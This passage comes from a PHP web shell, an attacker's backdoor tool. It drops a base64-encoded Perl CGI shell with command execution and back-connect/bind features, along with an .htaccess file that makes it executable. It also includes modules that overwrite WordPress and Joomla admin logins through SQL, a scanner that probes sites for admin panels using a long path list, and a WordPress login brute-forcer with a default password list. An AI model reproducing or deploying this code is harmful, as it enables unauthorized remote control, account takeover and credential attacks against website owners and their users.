250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=\';
$file = fopen("cgi2012.izo" ,"w+");
$write = fwrite ($file ,base64_decode($cgi2012));
fclose($file);
chmod("cgi2012.izo",0755);
echo " <iframe src=cgi2012/cgi2012.izo width=96% height=76% frameborder=0></iframe>
</div>"; }
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'config\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=config" method="post">
<?php
echo "<center/><br/><b><font color=#FF0000>--==[ Config Shell Priv8 SCR ]==--</font></b><br><br>";
mkdir(\'config\', 0755);
chdir(\'config\');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , \'w\') or die ("Error cuyy!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .cpc
AddHandler cgi-script .izo
AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$file = fopen("config.izo" ,"w+");
$write = fwrite ($file ,base64_decode($configshell));
fclose($file);
chmod("config.izo",0755);
echo "<iframe src=config/config.izo width=97% height=100% frameborder=0></iframe>
</div>";
}
/////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'wp-reset\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=wp-reset" method="post">
<?php
echo "<center/><br/><b><font color=#FF0000>--==[ Wordpress Reset Password ]==--</font></b><br><br>";
if(empty($_POST[\'pwd\'])){
echo "<FORM method=\'POST\'>
<table class=\'tabnet\' style=\'width:300px;\'> <tr><th colspan=\'2\'>Connect to mySQL server</th></tr> <tr><td> Hostname</td><td>
<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'localhost\' value=\'localhost\' /></td></tr> <tr><td> Database</td><td>
<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'database\' value=\'wp-\' /></td></tr> <tr><td> username</td><td>
<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'username\' value=\'wp-\' /></td></tr> <tr><td> password</td><td>
<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'password\' value=\'**\' /></td></tr>
<tr><td> User baru</td><td>
<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'admin\' value=\'admin\' /></td></tr>
<tr><td> Pass Baru</td><td>
<input style=\'width:80px;\' class=\'inputz\' type=\'text\' name=\'pwd\' value=\'123456\' />
<input style=\'width:19%;\' class=\'inputzbut\' type=\'submit\' value=\'change!\' name=\'send\' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST[\'localhost\'];
$database = $_POST[\'database\'];
$username = $_POST[\'username\'];
$password = $_POST[\'password\'];
$pwd = $_POST[\'pwd\'];
$admin = $_POST[\'admin\'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$a4s=@mysql_query("UPDATE wp_users SET user_login =\'".$admin."\' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass =\'".$hash."\' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login =\'".$admin."\' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass =\'".$hash."\' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login =\'".$admin."\' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass =\'".$hash."\' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_email =\'".$SQL."\' WHERE ID = 1") or die(mysql_error());
if($a4s){
echo "<b> Success!! Now You Can Login To wp-admin</b> ";
}
}
echo "
</div>"; }
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'jm-reset\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jm-reset" method="post">
<?php
echo "<center/><br/><b><font color=#FF0000>--==[ Joomla Reset Password ]==--</font></b><br><br>";
if(empty($_POST[\'pwd\'])){
echo "<FORM method=\'POST\'><table class=\'tabnet\' style=\'width:300px;\'> <tr><th colspan=\'2\'>Connect to MySQL </th></tr> <tr><td> Host</td><td>
<input style=\'width:270px;\' class=\'inputz\' type=\'text\' name=\'localhost\' value=\'localhost\' /></td></tr> <tr><td> Database</td><td>
<input style=\'width:270px;\' class=\'inputz\' type=\'text\' name=\'database\' value=\'database\' /></td></tr> <tr><td> username</td><td>
<input style=\'width:270px;\' class=\'inputz\' type=\'text\' name=\'username\' value=\'db_user\' /></td></tr> <tr><td> password</td><td>
<input style=\'width:270px;\' class=\'inputz\' type=\'password\' name=\'password\' value=\'**\' /></td></tr>
<tr><td> User baru</td><td>
<input style=\'width:270px;\' class=\'inputz\' name=\'admin\' value=\'admin\' /></td></tr>
<tr><td> pass baru </td><td>123456 =
<input style=\'width:130px;\' class=\'inputz\' name=\'pwd\' value=\'e10adc3949ba59abbe56e057f20f883e\' />
<input style=\'width:23%;\' class=\'inputzbut\' type=\'submit\' value=\'change!\' name=\'send\' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST[\'localhost\'];
$database = $_POST[\'database\'];
$username = $_POST[\'username\'];
$password = $_POST[\'password\'];
$pwd = $_POST[\'pwd\'];
$admin = $_POST[\'admin\'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$SQL=@mysql_query("UPDATE jos_users SET username =\'".$admin."\' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password =\'".$pwd."\' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username =\'".$admin."\' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password =\'".$pwd."\' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username =\'".$admin."\' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password =\'".$pwd."\' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username =\'".$admin."\' WHERE ID = 65") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password =\'".$pwd."\' WHERE ID = 65") or die(mysql_error());
if($SQL){
echo "<b>Success : New Password >>> - (123456)";
}
}
echo "
</div>";
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'adfin\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=adfin" method="post">
<?php
set_time_limit(0);
error_reporting(0);
$list[\'front\'] ="admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel";
$list[\'end\'] = "admin1.php
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
ccms/
ccms/login.php
ccms/index.php
maintenance/
webmaster/
adm/
configuration/
configure/
websvn/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/
adminarea/
bb-admin/
adminLogin/
panel-administracion/
instadmin/
memberadmin/
administratorlogin/
admin/admin.php
admin_area/admin.php
admin_area/login.php
siteadmin/login.php
siteadmin/index.php
siteadmin/login.html
admin/admin.html
admin_area/index.php
bb-admin/index.php
bb-admin/login.php
bb-admin/admin.php
admin_area/login.html
admin_area/index.html
admincp/index.asp
admincp/login.asp
admincp/index.html
webadmin/index.html
webadmin/admin.html
webadmin/login.html
admin/admin_login.html
admin_login.html
panel-administracion/login.html
nsw/admin/login.php
webadmin/login.php
admin/admin_login.php
admin_login.php
admin_area/admin.html
pages/admin/admin-login.php
admin/admin-login.php
admin-login.php
bb-admin/index.html
bb-admin/login.html
bb-admin/admin.html
admin/home.html
pages/admin/admin-login.html
admin/admin-login.html
admin-login.html
admin/adminLogin.html
adminLogin.html
home.html
rcjakar/admin/login.php
adminarea/index.html
adminarea/admin.html
webadmin/index.php
webadmin/admin.php
user.html
modelsearch/login.html
adminarea/login.html
panel-administracion/index.html
panel-administracion/admin.html
modelsearch/index.html
modelsearch/admin.html
admincontrol/login.html
adm/index.html
adm.html
user.php
panel-administracion/login.php
wp-login.php
adminLogin.php
admin/adminLogin.php
home.php
adminarea/index.php
adminarea/admin.php
adminarea/login.php
panel-administracion/index.php
panel-administracion/admin.php
modelsearch/index.php
modelsearch/admin.php
admincontrol/login.php
adm/admloginuser.php
admloginuser.php
admin2/login.php
admin2/index.php
adm/index.php
adm.php
affiliate.php
adm_auth.php
memberadmin.php
administratorlogin.php
admin/admin.asp
admin_area/admin.asp
admin_area/login.asp
admin_area/index.asp
bb-admin/index.asp
bb-admin/login.asp
bb-admin/admin.asp
pages/admin/admin-login.asp
admin/admin-login.asp
admin-login.asp
user.asp
webadmin/index.asp
webadmin/admin.asp
webadmin/login.asp
admin/admin_login.asp
admin_login.asp
panel-administracion/login.asp
adminLogin.asp
admin/adminLogin.asp
home.asp
adminarea/index.asp
adminarea/admin.asp
adminarea/login.asp
panel-administracion/index.asp
panel-administracion/admin.asp
modelsearch/index.asp
modelsearch/admin.asp
admincontrol/login.asp
adm/admloginuser.asp
admloginuser.asp
admin2/login.asp
admin2/index.asp
adm/index.asp
adm.asp
affiliate.asp
adm_auth.asp
memberadmin.asp
administratorlogin.asp
siteadmin/login.asp
siteadmin/index.asp
ADMIN/
paneldecontrol/
login/
cms/
admon/
ADMON/
administrador/
ADMIN/login.php
panelc/
ADMIN/login.html";
function template() {
echo \'
<script type="text/javascript">
<!--
function insertcode($text, $place, $replace)
{
var $this = $text;
var logbox = document.getElementById($place);
if($replace == 0)
document.getElementById($place).innerHTML = logbox.innerHTML+$this;
else
document.getElementById($place).innerHTML = $this;
//document.getElementById("helpbox").innerHTML = $this;
}
-->
</script>
<br>
<br>
<h1 class="technique-two">
</h1>
<div class="wrapper">
<div class="red">
<div class="tube">
<center><table class="tabnet"><th colspan="2">Admin Finder</th><tr><td>
<form action="" method="post" name="xploit_form">
<tr>
<tr>
<b><td>URL</td>
<td><input class="inputz" type="text" name="xploit_url" value="\'.$_POST[\'xploit_url\'].\'" style="width: 350px;" />
</td>
</tr><tr>
<td>404 string</td>
<td><input class="inputz" type="text" name="xploit_404string" value="\'.$_POST[\'xploit_404string\'].\'" style="width: 350px;" />
</td></b>
</tr><br><td>
<span style="float: center;"><input class="inputzbut" type="submit" name="xploit_submit" value=" Start Scan" align="center" />
</span></td></tr>
</form></td></tr>
<br /></table>
</div> <!-- /tube -->
</div> <!-- /red -->
<br />
<div class="green">
<div class="tube" id="rightcol">
Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
<b>Found ones:<br /></b>
</div> <!-- /tube -->
</div></center><!-- /green -->
<br clear="all" /><br />
<div class="blue">
<div class="tube" id="logbox">
<br />
<br />
Admin page Finder :<br /><br />
</div> <!-- /tube -->
</div> <!-- /blue -->
</div> <!-- /wrapper -->
<br clear="all"><br>\';
}
function show($msg, $br=1, $stop=0, $place=\'logbox\', $replace=0) {
if($br == 1) $msg .= "<br />";
echo "<script type=\"text/javascript\">insertcode(\'".$msg."\', \'".$place."\', \'".$replace."\');</script>";
if($stop == 1) exit;
@flush();@ob_flush();
}
function check($x, $front=0) {
global $_POST,$site,$false;
if($front == 0) $t = $site.$x;
else $t = \'http://\'.$x.\'.\'.$site.\'/\';
$headers = get_headers($t);
if (!eregi(\'200\', $headers[0])) return 0;
$data = @file_get_contents($t);
if($_POST[\'xploit_404string\'] == "") if($data == $false) return 0;
if($_POST[\'xploit_404string\'] != "") if(strpos($data, $_POST[\'xploit_404string\'])) return 0;
return 1;
}
// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
template();
if(!isset($_POST[\'xploit_url\'])) die;
if($_POST[\'xploit_url\'] == \'\') die;
$site = $_POST[\'xploit_url\'];
if ($site[strlen($site)-1] != "/") $site .= "/";
if($_POST[\'xploit_404string\'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
$list[\'end\'] = str_replace("
", "", $list[\'end\']);
$list[\'front\'] = str_replace("
", "", $list[\'front\']);
$pathes = explode("
", $list[\'end\']);
$frontpathes = explode("
", $list[\'front\']);
show(count($pathes)+count($frontpathes), 1, 0, \'total\', 1);
$verificate = 0;
foreach($pathes as $path) {
show(\'Checking \'.$site.$path.\' : \', 0, 0, \'logbox\', 0);
$verificate++; show($verificate, 0, 0, \'verified\', 1);
if(check($path) == 0) show(\'not found\', 1, 0, \'logbox\', 0);
else{
show(\'<span style="color: #FF0000;"><strong>found</strong></span>\', 1, 0, \'logbox\', 0);
show(\'<a href="\'.$site.$path.\'">\'.$site.$path.\'</a>\', 1, 0, \'rightcol\', 0);
}
}
preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
if(substr($site, 0, 3) == "www") $site = substr($site, 4);
foreach($frontpathes as $frontpath) {
show(\'Checking http://\'.$frontpath.\'.\'.$site.\'/ : \', 0, 0, \'logbox\', 0);
$verificate++; show($verificate, 0, 0, \'verified\', 1);
if(check($frontpath, 1) == 0) show(\'not found\', 1, 0, \'logbox\', 0);
else{
show(\'<span style="color: #FF0000;"><strong>found</strong></span>\', 1, 0, \'logbox\', 0);
show(\'<a href="http://\'.$frontpath.\'.\'.$site.\'/">\'.$frontpath.\'.\'.$site.\'</a>\', 1, 0, \'rightcol\', 0);
}
}
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'wpbrute\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=wpbrute" method="post">
<center>
<br><Br><b><font size=\'2\' >--==[ Wordpress Brute Force ]==--</font><br>
<center><p>Thanks To <a href="https://www.facebook.com/anton115" target="_blank">Cah_bagus</a></p></b></center>
<form enctype="multipart/form-data" method="POST">
<table width=\'624\' border=\'0\' class=\'tabnet\' id=\'Box\'>
<tr><th colspan="5">Wordpress Brute Force</th></tr>
<tr>
<td > </td>
<td ><p>Hosts:</p></td>
<td ><p> Users:</p></td>
<td ><p>Passwords:</p></td>
</tr>
<tr>
<td> </td>
<td ><textarea style="background:black;" name="hosts" cols="30" rows="10" ><?php if($_POST){echo $_POST[\'hosts\'];} ?></textarea></td>
<td ><textarea style="background:black;" name="usernames" cols="30" rows="10" ><?php if($_POST){echo $_POST[\'usernames\'];}else {echo "admin";} ?></textarea></td>
<td ><textarea style="background:black;" name="passwords" cols="30" rows="10" ><?php if($_POST){echo $_POST[\'passwords\'];}else {echo "admin
administrator
123123
123321
123456
1234567
12345678
123456789
123456123456
admin2010
admin2011
password
P@ssW0rd
!@#$%^
!@#$%^&*(
(*&^%$#@!
111111
222222
c40909
444444
555555
666666
777777
888888
999999";} ?></textarea></td>
</tr>
<tr><td colspan="4"><input class=\'inputzbut\' type="submit" name="submit" value="Brute Now" />
<?php
if($_POST)
{
$hosts = trim(filter($_POST[\'hosts\']));
$passwords = trim(filter($_POST[\'passwords\']));
$usernames = trim(filter($_POST[\'usernames\']));
if($passwords && $usernames && $hosts)
{
$hosts_explode = explode("
", $hosts);
$usernames_explode = explode("
", $usernames);
$passwords_explode = explode("
", $passwords);
foreach($hosts_explode as $host)
{
$host = RemoveLastSlash($host);
$hacked = 0;
$host = str_replace(array("http://","https://","www."),"",trim($host));
$host = "http://".$host;
$wpAdmin = $host.\'/wp-admin/\';
if(!url_exists($host."/wp-login.php"))
{echo "<p>".$host." => <font color=\'red\'>Error In Login Page !</font></p>";ob_flush();flush();continue;}
foreach($usernames_explode as $username)
{
foreach($passwords_explode as $password)
{
$ch = curl_init();
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_URL,$host.\'/wp-login.php\');
curl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt");
curl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt");
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_POST,TRUE);
curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri‏"."&redirect_to=".$wpAdmin."&testcookie=1");
$login = curl_exec($ch);
if(eregi ("profile.php",$login) )
{
$hacked = 1;
echo "<p>".$host." => UserName : [<font color=\'green\'>".$username."</font>] : Password : [<font color=\'green\'>".$password."</font>]</p>";
ob_flush();flush();break;
}
}
if($hacked == 1){break;}
}
if($hacked == 0)
{echo "<p>".$host." => <font color=\'red\'>Failed !</font></p>";ob_flush();flush();}
}
}
else {echo "<p><font color=\'red\'>All fields are Required ! </font></p>";}
}
?>
</td></tr>
</table></form></center>
<?php
function url_exists($strURL)
{
$resURL = curl_init();
curl_setopt($resURL, CURLOPT_URL, $strURL);
curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
